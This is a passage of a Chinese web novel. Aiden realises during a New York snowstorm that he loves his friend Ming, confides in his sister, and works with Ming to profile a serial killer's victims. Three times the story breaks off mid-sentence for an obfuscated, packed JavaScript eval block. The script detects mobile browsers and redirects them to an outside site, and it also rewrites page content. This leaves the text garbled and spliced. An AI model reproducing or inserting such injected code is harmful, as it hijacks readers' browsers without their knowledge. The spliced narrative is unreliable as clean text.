这个时候再辩解自己忙着躲雪,根本没瞧见这间店关门了就显得有点欲盖弥彰了,艾登迅速换上了自己最可爱,最无辜的笑容,摊开了手,“你什么时候见过亚洲人抢劫商店,”他问道,“我的意思是说,你的第一反应不是应该把我们当成走错门的外卖员,或者是迟到的IT修理人员吗?” 那个穿着红围裙的女孩仍然无比惊愕地瞧着他,一旁的Ming也配合着做出了摊手的动作,好似在向她展示他们两个手上没有枪。三个人就这么僵持了一会,才听见女孩怯生生地冒出了一句话,“你们想干嘛?” “这个嘛,”艾登挠了挠被融化的雪浸得湿透的头发,他突然觉得在暴风雪中冲进一家店的情形很熟悉,却又一下子说不出来在哪见过这个桥段,“我们一开始只是想买两个三明治——” “我们饿坏了,今天一整天都没有吃东西。”Ming补充道。 “——主要是因为我们去参观大都会博物馆,看得入迷了,压根忘记了吃饭。” “现在回酒店再点餐要等很久——” “——我们急着想买两个三明治吃。”他们默契地完成着彼此的句子。 “但是既然这家烘培店关门了——” “——我们这就离开。真的很抱歉把你吓着了。” “其实我还有挺多做三明治的馅料剩下的,过了今天都得倒掉。”那个女孩开口了,看起来完全冷静了下来,“只是因为广播里一直呼吁人们赶在暴风雪把路堵住以前赶紧回家,我的经理也给我发消息说我应该早点回去,我才这么早打烊的——不过,与其让那些肉丸,培根,生菜统统喂给我的狗吃……” 她转身要走进后厨前还是不放心地打量了他们两眼。 “这间店可是有24小时不间断的监控的,”她说道,“而且收银台和报警系统相连。” “好的,”艾登点了点头,“我会谨记在心的。” 那个女孩转身进了后厨,一声清晰地落锁声响起,表明她把通往后厨的门给锁上了,只留下艾登和Ming两个人站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041258|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在昏暗的光线里。 “坐下吧,”艾登指了一张桌子,“她还没有清洁这一张呢,我们不算给她添麻烦。” “要是疏眠跟我们在一块,”Ming小声说,“我们几个肯定不会被女店员认为是抢劫犯。” “是啊,”艾登淡淡一笑,“但那样我们就失去了一个非常精彩的,值得在每一年的圣诞大餐时分享的好故事了,不是吗?” 这句话禁不住把缠绕了他一整天的思绪又带了回来。 Ming对黎疏眠的感情是显而易见的,那他为什么又会因为那样一句话而失态呢? 也许他察觉到了什么,某些连自己都还没有察觉到的事。 那种异样的感觉卷土重来,就像在线轴上摸索着一段开头,只要揪住那个线头就能抽丝剥茧地揭露出沉沉丝线下隐藏的秘密,但他的双手徒劳地寻觅着,抚摸着,指尖一点点地从自己心尖上辗磨到底,却每每在感受到线头存在的刹那就让它溜走,始终没能抓住。 “你知道,如果此刻这是一部电影,我们两个恐怕就走进了某个凶杀现场,那个穿着红围裙的女店员实际上是一个冷酷无情的女杀手,在后厨里躺着四五具尸体,”Ming又再次开口了,“下一刻,突然爆炸的瓦斯会一下子毁灭整间店面,而我们两个会成为两具无名碎尸,要过一个一个月法医才能勉强在分辨并拼凑出哪些部分是属于你的,哪些部分是属于我的。” 艾登突然笑了起来。 “我还以为你会跟奶奶一样,说呸呸呸呢,”Ming见状也笑了,“我说的确实挺有道理的,不是吗?一般电影的套路都是这样的。” 艾登根本没去想Ming的描述在现实或电影中发生的几率有多大,他只是猛然觉得——倘若说人必有一死,只是早晚,那么在这个漫天飞雪的夜晚发生,好过在他人生任何其他时刻发生,光是回想着适才用大衣裹着Ming冲过马路的情形,就让他的心欢欣地跳动了起来,有那么一二刻,他似乎都能通过自己的棉布感受到Ming的心跳,砰砰地在他自己耳边响起,而他自己的心脏早就如同一台直升机一般,呼呼地在胸前里打转尖啸。他与许多女孩做过比那亲密得多的事情,有多亲密得多的身体接触,但就在那短短的几秒里,他觉得没人能比Ming更亲近,更亲切,更无法分离,如果这就是一切的终点,那也很好。 后厨的门砰地打开了,那个女店员走了出来,率先打量着的就是收银台和收银台后边昂贵的咖啡机,确认目之所及没少了什么需要报警的值钱玩意以后,她才松了一口气,“你们的三明治,算是店里请的,”她说,走上来将两个巨大的纸包递给了艾登,看那分量,他们今晚估计都不必再叫外卖了,“如果喜欢吃的话,欢迎明天在正式的上班时间过来品尝——” “一定一定。”艾登点着头,“祝你有个愉快的夜晚。” “你也是。而且别再闯进其他挂着打烊牌子的餐厅了。” “我保证不会。” “等我给你一个保温的袋子,”艾登转身刚要走,那个女孩又叫住了他,“你这样拿在手上,不出五分钟三明治就该冻透了,酒店的微波炉会把三明治里的汁水全部榨干,口感会变得很糟糕。来,把它们放在这里面,它们能相互保证彼此的热量,至少能维持20分钟——你们的酒店不会在布朗克斯或者布鲁克林那么远的地方吧?” “不,就在时代广场附近。” “那就够了。”女孩点点头。 艾登回过身,发现Ming已经先离开了,他赶忙追了出去,才发觉对方就站在人行道上——雪越来越大,几乎像是密集的纸片雨一般纷纷扬扬地落下,街道上的行人少了一大半,不是已经躲进了楼宇里躲避风雪,就是已经跑进了地铁站,Ming的头顶与肩膀上全被染成了雪色,双手插在兜里,淡淡的笑容里仿佛结了霜,“怎么这么久,你在问那个女孩要电话号码吗?” 不,我没跟她要电话号码,我不会再随便要任何一个女孩的电话号码了。 这是艾登应该回答的话,却不是他想做的事。 所有的一切——他曾经想不通的一切——突如其来的冲动,不切实际的幻想,自欺欺人的谎言;Ming慌张扭开头时的慌乱与不安,睡衣下若隐若现的结实腰身,悄无声息走过地毯的赤倮脚面;橄榄球场上近在咫尺的遥远凝望,在指尖翻转松开的领结纽扣,转身搂住Ming时响彻耳际的轰鸣心跳;粘在唇上的漏斗蛋糕,若有似无落在指尖的轻触幻觉,被拉长得不可思议的缠绵亲吻,在这一刻化为苦涩又甜蜜的洪流,推着他一步又一步地向前走,新鲜的融雪混杂着鞋底的泥泞,似缓缓向前翻涌的波浪,洗刷出沙滩下埋藏的宝藏,如此简单,又如此直接。 他终于明白了。 如果没有那个笑话,如果没有今天早上Ming不同寻常的表现,他也许会一直这么蒙骗自己下去,他是有二十七任前女友的人,怎么可能会爱上一个男人?不管他对Ming的感觉是什么,都只不过是友谊——而超出友谊的那些部分太多太深,如包裹着一叶扁舟的浩瀚大海,他只把它当成理所应当存在的环境的一部分。 Ming察觉了,他可能早就察觉了,所以他三句话不离黎疏眠,所以他克制地保持着身体的距离,所以他不小心说漏嘴后尴尬地转身离开。 他想划清界限。 而艾登却只想—— 走上前,在这个大雪纷飞的纽约街头,深深的吻住他,再也不要分离。 如果这就是一切的终点,那也很好。 82. Chapter·Twenty-Nine “所以,你亲了吗?” 艾莉从冰箱里拿出两桶冰激凌,又从抽屉里拿出两把勺子,一边把其中一把递给他,一边问道。 “你这是在做什么?”艾登莫名其妙地看着自己面前那桶只有Ming才会觉得是绝世美味的巧克力咖啡香草夹脆片冰激凌,把它又往自己妹妹那边推了推,“我现在退出了橄榄球队没错,但我也没打算当一个三百斤的大胖子啊。” “你不吃算了,我只是看电视上两个人在吐槽(bitching)与感情有关的事的时候都喜欢吃点冰激凌——我又没有喜欢跟我吐槽的女性朋友,我也不知道这一点是不是真的。”艾莉耸了耸肩,又把冰激凌放回了冰箱里,随即打开了她那桶焦糖口味的冰激凌,挖了一大勺,“所以,回到最初的话题,你把我拉进厨房,神神秘秘地压低声音跟我说你产生了想要亲吻Ming的冲动——你真的亲了吗?” “当然没有!”艾登皱起了眉头,把当时他们从大都会博物馆走出来以后发生的事情都细细地向艾莉描述了一遍,“我最终还是克制住了那种冲动,在我即将做出极端不理智的行为以前阻止了自己——当时我已经站在了他面前,几乎是胸对胸地贴着他,如果Ming戴着眼镜,我的呼吸都能在镜片上呵出雾气——及时改为招呼着他往地铁站走去,连肩膀都没拍一下。当时Ming瞧着我的那个眼神,就像我突然在大街上挑起了钢管舞一样既惊奇又不解。” 艾莉噗嗤一声,闷闷地笑了出来。 “不许幸灾乐祸,”艾登弹了一下她的额头,艾莉不甘示弱地回踢了他一脚,还好艾登以他前四分卫的灵活身手及时避开了,“别闹!我还没说完呢——从那之后,到搭乘地铁,再到回到酒店,洗漱睡下,全程我跟Ming说的话不超过十句,我与他之间那尴尬的沉默完全可以闷死一个人,我不确定他到底看没看出来我当时的想法,但老实说我根本不敢在他眼里寻找答案。走进烘培店以前,我甚至都用大衣把他紧紧搂在怀里了,离开烘培店以后,我正眼都不敢瞧他。” “我可以向你保证,”艾莉用勺子遥遥冲他点了点,“Ming绝对没看出来你想吻他。” “你真这么觉得?”艾登双眼一亮,立刻凑近了些。 老实说,跟自己只有十六岁的妹妹讨论这些事情——尤其是讨论他对另一个男人产生的渴望与感情,还有随之而来的种种想法,实在是太奇怪了。但是艾登别无选择,要么就是艾莉,要么就是黎疏眠,他身边只有两个人可以探讨这件事。然而,黎疏眠是云决明的暗恋对象,光是想到这一点,艾登就酸溜溜的不是滋味,自然也就将她排除了。 所以,平安夜这天,他和Ming在吃完早餐后一块回到自己家以后,艾登就一直在找机会单独跟艾莉相处。因此,当奶奶兴致勃勃地想要打广东麻将的时候,他立刻自告奋勇地替Ming报了名,这样他,奶奶,爷爷,还有妈妈四个人就能凑一桌。趁着奶奶招呼Ming陪她一起去储物小屋里把麻将桌搬出来的功夫,艾登趁机把自己坐在一边看手机的妹妹拉进了厨房,还心虚地关上了所有通往厨房的木门。 “我真这么觉得,”艾莉耸了耸肩,“相信我,你就算真的亲上去了,他可能都未必会相信这个事实。说到这个,你当时干嘛不亲上去呢。” “你疯了吗?”艾登惊骇地望着她,“要是我亲上去了,Ming就再也不可能跟我做朋友了。” “这点倒是没错,你们俩在那之后确实做不成‘朋友’了,”艾莉意味深长地笑了笑,双手在空中比了比引号,艾登不懂她为什么要这么说话,“不过,你不亲上去,谁能确切地说会有什么后果呢?” “我当然知道会有什么结果,”艾登说道,“Ming又不是gay,他喜欢疏眠——” 艾莉对此的回应是嗤笑一声,翻了个白眼。 “不,真的,你听我说——他亲口跟我承认了他喜欢疏眠。”艾登急了,“我们去纽约玩的时候,他全程三句话离不开疏眠的名字——‘疏眠怎么还没来?’‘疏眠等会是不是要来?’‘疏眠什么时候过来?’我看要是疏眠真的去了,他会巴不得我能消失。他真不是gay。” “那你还信誓旦旦地跟我说过你不是gay呢,however here we are,坐在厨房里讨论你对另一个男人产生了想要亲吻他的冲动,”艾莉一脸无所谓地笑了笑。艾登觉得这可能是他最终选择了妹妹来倾诉这件事的原因,他知道无论他说什么,艾莉都不会大惊小怪,虽然她讥讽的态度也没比大惊小怪好到哪去,“我只能说,没什么事是绝对的,艾登。” “你觉得这意味着我喜欢上了Ming吗?”艾登苦恼地望着他的妹妹,其实他更想用的词是爱,却又担心艾莉会觉得他矫情。从大都会博物馆回来那天晚上他又辗转反侧了一夜,无法入睡,思考了一晚上这个问题,反复回想着黎疏眠跟他提过的爱情理论,把她曾经的描述拿去一句一句对照他的感情,像解一道法律辨析题般地逐词逐词具体分析。幸好第二天他们的行程因为暴风雪不得不取消,不然艾登根本打不起精神继续游玩。 “你确定你不需要冰激凌吗?”艾莉撇着嘴瞧着他,“你现在的语气听起来和那些哀怨的高中女生没什么区别——‘天啊,我在想他会不会喜欢我呢?也许我也喜欢他呢,谁知道呢?但我真的每天都在想他,还特别想要亲吻他,难道这就是喜欢吗?我的天啊!’” 她惟妙惟肖地模仿着年轻女孩娇滴滴的语气,艾登的脸立刻红了。 “我是认真的,艾莉。一个交往了二十七任女朋友的男人怎么可能莫名其妙地改变性取向?我在性取向最容易混淆的青少年时期也从来没对任何一个男人产生过感情——” “也许只是因为他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041259|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们都不是Ming。”艾莉说,这话噎得艾登一时之间哑口无言,“听着,别纠结那么多了,就算你从现在开始对男人有感觉了又怎么样?更何况,我深切怀疑就算现在丢给你一本消防员日历,你也不会产生任何性冲动——”“嘿!注意你在说什么!我可不想跟我自己的妹妹讨论我的性冲动!”“——总而言之,”艾莉的声音盖过了他的声音,“你爱上了Ming,那你就放心大胆的去追——别跟我提那套‘我们以后可能连朋友都做不了’的bullshit,你都想跟对方吻个难分难舍地动山摇了,你觉得你们两个还能做朋友多久?” “你觉得我爱上了Ming?”艾登没想到这个字竟然先从艾莉嘴里蹦出来了,一时之间他把艾莉除此以外所有的话语都抛到了脑后,控制不住地露出了笑容。 “太阳每天都从东方升起吗?是的。我的哥哥是个世所罕见的白痴吗?是的。”艾莉没好气地说,“而且,比起担心你是不是爱上了他,我觉得更需要你担心的是家里人的态度。我知道奶奶肯定对你喜欢上Ming这一点没意见,我甚至怀疑从Ming第一次来家里过春节的时候奶奶就把他当成内定的儿媳妇了——” 艾登霎时回想起了那时奶奶和Ming在后院的谈话,“还不都是因为你提起我和Ming接吻的事害的。”他小声嘟囔着,却又不禁怀疑难道自己从那时起就对Ming有了感情,还被奶奶给看出来了? “——但是妈妈和爷爷,恐怕就没那么好说话了。” “这么说,你上次——”艾登记起感恩节晚宴时艾莉古怪的举止,“你从那时候就瞧出了我对Ming的感情?” “可以这么说。”艾莉停下了勺子,“你得想好要怎么告诉他们这个消息——做好心理准备,也许他们会逼迫你在家人和Ming之间选一个。” 就像突然被书页割伤,艾登的心迅速而尖锐地疼了一下——他知道艾莉说的是对的。但他强迫自己不去想那个可怕的场景——妈妈疲惫地坐在她的办公室里,脸上是显而易见的失望与愤怒,“是因为你的父亲早早去世的缘故吗?”她嘶哑着嗓子问,这是她最害怕的现实——自己因为失去父亲而变成一个“不正常”的人,“是因为我没能同时肩负起两个父母的责任吗?” 至少在他能肯定Ming也会回应自己的感情以前——现在看来那几乎是不可能的事情,艾登觉得自己暂时还不需要担心跟家里人出柜的事。 “那你呢?”他问。 “我?”艾莉笑了,是她在视频里提到她有多么为自己是艾登妹妹骄傲时的笑容,“我时常在想上帝为什么要分配给我这么一个愚蠢的哥哥——现在我可以肯定地回答了,就是为了能让我在这种时刻支持他。” 她挖了一勺冰激凌,塞进艾登嘴里。 “我当然会站在你这边,和你一起对抗所有的压力,笨蛋。” 83. Chapter·Thirty “你确定你不跟我们一起去?” 在艾登家吃过平安夜大餐以后,趁着艾登哼着小曲往车上塞各种零食饮料,为接下来的追猎圣诞灯光之旅做准备的时候,云决明趁机把艾莉拉到了一边,小声地询问道。她之前原本答应了与他和艾登一块去,这会又说她和黎疏眠创建的网站接到了好几个女生的求助,她们现在正在核实证据,联系相关的执法部门,忙的不行,抽不出时间——但这会是圣诞假期,根本没有任何执法部门上班,云决明对她找的这个理由深表怀疑。 “怎么?”艾莉抱起了双臂,她今晚穿着一件非常紧身,紧身到云决明怀疑她是特意把最小号的毛衣再洗缩水了两遍以后再套上的海马毛上衣,以及一条红色的百褶裙裤,搭配着过膝长靴和她染成紫色的头发,非常叛逆又非常性感,云决明不明白奶奶怎么会允许她打扮成这样,他怀疑她可能知道了艾莉的黑客天赋,以及她在唐泽茹事件中为艾登出的力,才会对自己的孙女这么宽容,“你不想跟艾登独处几个小时?” 云决明就算想到了极致,也不会在艾莉面前承认这件事,“但是你的母亲——”他犹豫着说,“如果她发现了我对艾登的感情,进而把我和艾登的这些活动当成是我们之间的约会怎么办?” “你都已经跟我哥同居了,居然还担心这个?”艾莉的眉毛消失在她深紫色的发梢中,这个颜色意外地与她浅灰色的眼睛相配,让她看起来就像个精灵般灵动俏皮,“这就是你硬是要我跟你们一起去看无聊的圣诞灯光装饰,还非得邀请黎疏眠跟你们一起去纽约玩的原因?她接到艾登的电话以后就打给了我——这么说吧,如果将来有一天你跟我哥在一起了,你绝对不会想要邀请我,或者黎疏眠在你们两个婚礼上发表演讲的。老天,我们可以说的东西太多了。” “但我不希望你的母亲发现我对艾登的感情以后逼着我离开艾登,”云决明压低了声音说道,因此此时艾登正兴高采烈地提着一篮子奶奶亲手做的小蛋糕往车上走去,洛克希兴奋地跟前跟后,绕着他打转。可能因为今天是平安夜的缘故,艾登的心情特别好,几乎一整天脸上都洋溢着灿烂的笑容,一看就会让人想到他最爱用的大型犬表情——嘴角咧着,露出一口白牙,眼睛笑得眯眯弯弯,“我知道我对艾登的感情很明显——”“相信我,对某些人来说可没有那么明显。”艾莉插了一句嘴。“我只是不想逼迫艾登必须在我和他的家人中选择一个,如果哪天这件事败露了,我减少与艾登的单独相处兴许能为这件事赢来一点回旋的余地。” 艾莉的眼神稍微柔和了一些,“这不是你需要操心的事情,”她说,“即便有一天事迹败露了,也轮不到你来应付我妈妈,艾登会处理的。总之,你该怎么跟艾登相处,就怎么跟艾登相处,别担心那么多。” 她推了一把云决明的肩膀。 “瞧,”她说,“我哥哥在等你呢——好好享受二人时光。” 云决明被推得向前走了好几步,又忍不住疑惑地回头,他总觉得艾莉是在暗示什么——甚至是在暗示他跟艾登在一块并不是一件没有可能的事。然而,他才转过视线,想在艾莉的脸上挖掘出更多线索,就发现女孩已经轻快地迈步上了台阶,领着回来过圣诞节的洛克希进屋了。 “Ming,我们该走了!”艾登招呼了一声。 “嗯。”他应了一声,钻进福特野马,发现之前口口声声说着“不一定要买那么多吃的”的艾登,已经把后座用汽水,水,果汁,啤酒,蛋糕,爆米花,薯片,三明治,糖果,巧克力,混合坚果,饼干,吞拿鱼罐头,沙拉,果干等等等等填得严严实实,不知道的人别说猜出来他们刚刚才吃完一顿无比丰盛的平安夜午餐,肚子饱得什么都塞不下,只怕会猜他们买了这么多吃的是要去黄石公园露营,而且中途还不能离开露营地。云决明看得目瞪口呆。 “这些都是为你准备的,以防万一这途中你有什么想吃的零食,又因为圣诞节的缘故不好临时去买,有备无患嘛。” 艾登笑眯眯地说道,非常自然地侧身过来,伸手为他拉过安全带扣好,他的脸在距离云决明鼻尖不到三厘米的地方掠过,给云决明冻得冰凉的肌肤带来了一丝暖意,让他不自觉地向后缩了缩。 这一幕唤起了回忆,在艾登倒车并缓缓从车道上驶出大宅时,车灯扫射之处瞧见的每一片落下的雪花仿佛都来自纽约,来自他们从大都会博物馆出来后遇见的那个夜晚,一些细节如梦般恍惚,一些细节如此刻从收音机里传来的圣诞歌曲般清晰,交织在云决明脑海中轻声吟唱。他能从中拼凑出的最清楚的部分是在离开烘焙店以后,他提前离开了,因为他知道艾登喜欢与店员调情——去六旗主题乐园的时候是这样,去La Bonne Soupe时也是这样,云决明不愿意见到那一幕,会破坏这个对他来说有着无与伦比的魔力的夜晚,他第一次窥见了如果艾登爱上了自己会发生什么——他坚实有力握着自己穿过马路的手,他温暖包裹着自己的怀抱,他专注地听着自己讲话时露出的迷人微笑,还有最后一刻,当艾登从烘焙店里跑出来时,云决明已经被发生的一切弄得接应不暇,几乎以为他要走上前,给自己深情而弥长的一吻。 在近乎空无一人的纽约街头拥吻,夜色与雪花落在肩头,灯光与隐星在睫间飞动,唇齿交合缠绵间,就连最严寒的冬日也会为此融化,有什么能比这一刻更浪漫? 然而,现实是艾登走上来招呼了自己一声该走了,正眼也没打量他一下,他的手藏在口袋里,始终没伸出来,也许正紧握着输入了一串号码的手机——他没有否认自己耽搁了那么久是为了要电话号码,云决明苦涩地注意到了这一点。 这也是难免的,和黎疏眠分手已经过去一年了,对一个像艾登这样年轻气盛又没缺过女朋友的男人来说,已经是相当长的一段空窗期了。如今唐泽茹的事情也解决了,想必他的心思又活络了起来。 我该划清界限。他心想,如果放任艾登这个根本不知道如何把控友情界限的人继续这么肆无忌惮,总有一天他会不管不顾地就这么亲上去——心理学实验表明,男性荷尔蒙本来就会使男性在情感方面的自控力比女性薄弱,有时候走投无路的强烈爱意会化为最原始的冲动,撕裂一切由社会,道德,法律共同编织的缓冲网,退化至万年前,刚走出非洲的祖先直接从敌方部落里掳走自己心爱对象的那个程度。 “艾登,如果之后你还想去哪儿玩——比如去费城,去瑞典滑雪,或者是再回去纽约一趟——你还是叫上艾莉或黎疏眠,甚至是别的朋友陪你吧。”云决明突兀地开口了,这句话一下子切断了艾登正随着收音机哼唱的声音,“今晚过后,我想这个寒假就好好呆在家里,哪也不去了。” “怎么了?”艾登伸手关掉了收音机,惊奇地问道,“是因为在纽约玩得不愉快吗?是不是我做了什么——” “我只是想好好把受害者侧写的最后一点儿工作完成,”云决明冷静地说道,自从唐泽茹的事情结束了以后他就一直在忙碌这件事,加上艾登没了橄榄球队训练和比赛,又在家上课,时间多了不少,两人联手,事半功倍,所以进展比之前迅速多了,“而且,今年的元旦,我觉得我还是回家一趟,陪陪我的母亲比较好——她不在乎圣诞节这种洋人节日,但新年我总归要回去的。” 话是这么说,但云决明心里很清楚,要是没有海鲜东来餐馆的女侍应生的那一番话,他新年也不会回去陪母亲,最多就是在春节的时候再回去一趟,罢了。 他克制着不让自己扭头去瞧艾登,尽管从此刻的沉默来看,他已经猜出对方此刻会有什么反应——委屈得就像最喜欢的骨头突然被人抢走了似的大型犬,瞥上一眼就足够让人心软。 “受害者侧写的工作不急,”过了老半天,艾登才说话了,“我们可以慢慢来。你想跟你的母亲一块过元旦也没事,我们可以赶在那之前回来,我还有好些——” “但我们已经取得很大的进展了,”云决明强迫自己铁石心肠,不带一点情感地打断了艾登的话。划清界限,他提醒着自己,划清界限。“现在就只差私下访问那些我们筛选出来的那些受害人家庭了——我觉得趁圣诞及元旦假期的时候做这件事最好,尽管提起悲惨的往事确实会给节日的气氛蒙上一层阴霾,但不可否认的是这种全国性的假期才使人们有空接受我们的采访,运气好的话,我们还能遇到参加过葬礼的亲戚,他们的描述会让我们掌握更多的信息。” 云决明所说的进展,指的是他已经成功筛选出了连环杀人犯挑选受害者的条件这件事, 在唐泽茹的事件彻底爆发以前,云决明其实就已经列举出了数十条从艾登父亲身上找到的可能条件,他原本以为其中比较具有代表性的几项条件,应该能让他有所突破,结果,等到感恩节后,艾莉终于抽时间出来开发了那个筛选受害者的程序后,结果却大跌他的眼镜——90%艾登父亲所具有的条件,尤其是那些颇为独特的几项,在数据库里都找不到任何具备同样条件的受害人。 比方说,云决明一开始怀疑凶手可能有仇富情节,见不得少数族裔过着优渥富裕的生活,可他在数据库中一查,发现从1960年至今,约州内没有出现任何一个符合条件的受害者——这期间确实有好几个富有的少数族裔去世了,但与其说他们是被连环杀手杀死的,倒不如说他们都死于可疑的由争夺遗产引起的毒杀或意外,不符合连环杀人犯的作案手法 另一个例子是种族族裔。云决明考虑过凶手专门对华人下手的可能性,但他随后发现,虽然华裔受害者中符合以上七条条件的受害者令人毛骨悚然地有不少,中间却有较大的时间跨度——譬如,最早的符合条件的华裔受害者出现在1987年,随即又出现在1988年,1989年,及1990年,然而从那之后,有整整三年的时间没有出现任何符合条件的华裔受害者,从1994年开始,又以每年平均五到六个的速度继续推进,直到2005年,华裔受害者再一次神秘地消失了,在那以后,只会偶尔出现一两个在云决明看来很难跟连环杀手谋杀案扯上关系的受害者。 以凶手的作案频繁程度来说,除非他这个过程中由于不可抗力(住院,入狱)无法继续作案,否则云决明不认为他能克制自己的杀戮冲动那么久,而且,因为这个连环杀人犯从来没有被抓住过,模仿者存在可能性也极低,同时,在华裔受害者停止出现的几年间,仍然有符合条件的少数族裔受害者出现,云决明最终决定把条件从华裔更改至整体少数族裔。 于是,他和艾登两个人千辛万苦地忙活了大半个月,才总算精挑细选出了七条的条件,加多任何一条,都会急剧缩小受害人的范围,使得受害者的整体数据分布变得十分不合理,减少一条,又会急剧扩大受害人的范围,使得进一步筛查信息变为一件几乎不可能的事情,也恐怕会使这个连环杀人犯成为美国历史上受害者数量最多的凶手。 1. 男性。 2. 少数族裔。 3. 事业有成或已有家室。 4. 经济条件属于中产阶级或以上。 5. 接受过大学教育(或者身为U大毕业生)。 6. 从事的职业为低风险职业。 7. 居住在郊区的独栋房屋,拥有自己的交通工具。 这七条看似简单,却恰恰是这个凶手得以蛰伏至今而从未被发现的原因——正是因为他挑选的受害人都不具备非常明显的特征,所以多年来约州的警察从来未能将这些频频爆发的谋杀案联系起来,任由他无声无息犯下数百条血案——经过初步的统计,云决明保守估计死在这位连环杀人犯手下的受害者一共有将近两百名,如果考虑到他可能不止在约州作案这个元素的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041260|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个数字会更多。从1987年开始,每年都约莫有7到12桩案件疑似为该名连环杀人犯的所为,一直持续到2010年为止,这个频率才完全消失。 云决明不理解的是,为什么连环杀手要杀害具备这些条件的少数族裔。 艾登倒是提出了一个设想,“具备这些条件的少数族裔都是有能力为自己的种族谋取利益的,”他指出了这一点,“这个连环杀手很有可能是在清除在他看来很有可能会投身政坛,或者某种运动来提升少数族裔权益的目标。”云决明认为他说的颇有几分道理。 但是,筛选出潜在的受害者,不代表就能对凶手给出一个大概的心理侧写。云决明在这半年里读过的上百本犯罪心理学书籍都告诉他,勘察犯罪现场,采访受害者家属,亲戚,都是给出一个尽可能准确的心理测写中非常重要的一部分。要得到这些信息,他们只有两个选择,要么直接询问受害者的家属,从他们的口中尽可能地打听当年发生的事情,要么直接从警察局获得更详细的资料——后一点由于艾登和杰森友谊的破裂,已经成为了一个不可能的选项,艾登也不愿意让自己的妹妹铤而走险黑进警察局的内部资料库,因此,他们实际上只有一个选择。 艾莉的黑客技能在此刻再一次发挥作用,她轻轻松松黑进了约州当地最大的优惠券发行公司,从里面得到了将近一半约州居民的详细地址和姓名,通过交叉对比,云决明发现还有大概二十多户家庭仍然居住在当年案发时受害者所居住的房屋中——这一点对保留照片,资料,以及受害者或许具有的与凶手潜在的关联证据至关重要,可能得到的消息也是最多的。他决定先去访问这些人。 云决明很清楚,艾登绝对不会让他单独去做这件事的,果然,他刚提出要趁着圣诞假期去拜访这二十多户家庭,艾登马上就接话了,“那我们也会一起去访问他们,Ming。” “嗯。”云决明淡淡地应了一声,他扭头向窗外看去,艾登正平稳地驶在布朗沃克大道上,偶尔会经过一段通往居民区的岔路口,可以瞥见道路另一端有数不清的圣诞灯光在闪耀,也许某扇挂着冬青树枝装饰的窗户后面就有一个如同我一般的伤心人在沉默,云决明黯然思忖着,明明深爱的人就坐在身边,却不得不想方设法将他推开。 “你想吃点什么吗,Ming?我们还开一会就能到我之前跟你提过的那个小镇上了,他们每年都会举办圣诞灯光比赛,优胜者有一千美金的奖金,所以每家每户都装饰得美轮美奂又别出心裁,特别值得去看看。”艾登轻柔的声音在昏暗的车厢中响起,云决明觉得今晚一定与他想象中的那个追猎灯光之夜完全不同,也难为他语气中没有流露半点不愉快,“我为你准备了那么多吃的呢——还有奶奶亲自做的小蛋糕。” 他几乎没给Ming拒绝的时间,在说出后半句话的同时也伸了一只手到后座上摸索着,云决明听到“奶奶亲自做的小蛋糕”几个字时刚心觉不妙,就看见艾登的手捏着一个只有三分之一拳头大小的蛋糕,送到了他的嘴边。车里开着暖气,蛋糕还是温的,小麦,牛奶,鸡蛋,糖份,还有其中夹着蔓越莓干的味道美妙地糅合在一起,散发出浓郁的甜香——但云决明此时难以决定到底是哪个更诱人:是奶奶亲手做的蛋糕,还是艾登修长圆润的指尖,他两个都想直接吃掉。 压制住忽然从小腹盘旋直上的悸动,云决明想调整一下姿态,好转身伸手去接蛋糕,但艾登此时刚好踩了刹车——前方的黄灯已经变红了,锁死的安全带禁锢住了他能有的一切行动,还没来得及开口说“等一等”,蛋糕就已经递到了嘴边,“你尝尝嘛,”艾登殷切地说,“奶奶的蔓越莓蛋糕可是非常有名的。” “不我自己——” “就尝一口,来,啊——” 云决明鬼使神差地张开了嘴,咬下了一块。可能是担心掉下来的碎屑,艾登的手指此刻紧紧地贴着他的下嘴唇,手臂因为保持一个姿势而微微颤抖,就像在反复摩挲着云决明的嘴唇轮廓,那么细致又柔和,指甲从他如少年般光滑的肌肤上划过—— 火焰,如最迅速,最不容易察觉的心脏病发一般,从肌肤相接的地方开始了它的跳动,进而迅速蔓延至脸颊,脖颈,胸膛,四肢,高亢而又激烈,所有的感官——听觉,视觉,味觉,嗅觉俱都燃烧殆尽,只有像被显微镜放大千百万倍的触觉悬在纤细的一根针上,尖锐而敏感地感受着这最近乎于得到亲吻的猛地一刻。 下一秒,艾登缩回了手,他的手背自然地在云决明脸上刮了两下,仿佛是在拂去不存在的蛋糕碎屑,随即,还没等云决明来得及伸手,他就将那个被咬了一口的蛋糕若无其事地塞进了嘴里。借着突然大盛其芒的绿灯照映,云决明清清楚楚地瞧见了被送进嘴里前一刻蛋糕上残留着的口水反光。 